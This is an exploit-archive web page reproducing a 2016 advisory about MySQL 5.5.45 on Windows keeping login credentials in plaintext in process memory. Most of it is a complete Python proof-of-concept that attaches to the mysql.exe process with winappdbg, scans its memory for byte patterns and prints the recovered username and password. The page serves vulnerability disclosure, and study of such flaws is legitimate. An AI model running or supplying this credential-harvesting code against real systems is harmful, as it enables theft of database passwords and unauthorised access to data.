首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MySQL 5.5.45 (64bit) - Local Credentials Disclosure
来源:http://www.black-rose.ml 作者:Wizman 发布时间:2016-09-06  
#####
# MySQL 5.5.45 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.mysql.com
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
#
# Special Thanks & Greetings to friend of mine Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to the database.
# Proof-Of-Concept Code:
#####
 
import time
from winappdbg import Debug, Process
 
def b2h(str):
    return ''.join(["%02X " % ord(x) for x in str]).strip()
 
def h2b(str):
    bytes = []
    str = ''.join(str.split(" "))
 
    for i in range(0, len(str), 2):
        bytes.append(chr(int(str[i:i+2], 16)))
 
    return ''.join(bytes)
 
usr         = ''
pwd         = ''
count       = 0
filename    = "mysql.exe"
process_pid = 0
memory_dump = []
passwd      = []
 
debug = Debug()
try:
    print "[~] Searching for pid by process name '%s'.." % (filename)
    time.sleep(1)
    debug.system.scan_processes()
    for (process, process_name) in debug.system.find_processes_by_filename(filename):
        process_pid = process.get_pid()
    if process_pid is not 0:
        print "[+] Found process pid #%d" % (process_pid)
        time.sleep(1)
        print "[~] Trying to read memory for pid #%d" % (process_pid)
        
        process = Process(process_pid)
        for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'):
            memory_dump.append(process.read(address,30))
        for i in range(len(memory_dump)):
            str = b2h(memory_dump[i])
            first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]
            last = first.split(" 00 2D 70")
            if last[0]:
                usr = h2b(last[0])
        
        memory_dump = []
        for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'):
            memory_dump.append(process.read(address,100))
        sorted(set(memory_dump))
        for i in range(len(memory_dump)):
            str = b2h(memory_dump[i])
            string = str.split('00 8F')
            for x in range(len(string)):
                if x == 1:
                    passwd = string
        try:
            pwd = h2b(passwd[1].split('00 00')[0])
        except:
            pass
        
        print "[~] Trying to extract credentials from memory.."
        time.sleep(1)
        if usr != '' and pwd != '':
            print "[+] Credentials found!\r\n----------------------------------------"
            print "[+] Username: %s" % usr
            print "[+] Password: %s" % pwd
        else:
            print "[-] Credentials not found!"
    else:
        print "[-] No process found with name '%s'" % (filename)
    
    debug.loop()
finally:
    debug.stop()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Navicat Premium 11.2.11 (64bit
·glibc - getaddrinfo Stack Base
·WIN-911 7.17.00 - Multiple Vul
·Belkin F9K1122v1 1.00.30 - Buf
·Multiple Applications - Local
·FormatFactory 3.9.0 .task Stac
·TeamViewer 11.0.65452 (64 bit)
·Easy File Sharing Web Server 7
·SugarCRM 6.5.23 - REST PHP Obj
·FortiClient SSLVPN 5.4 - Crede
·Adobe ColdFusion < 11 Update 1
·PHP 7.0 - JsonSerializable::js
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved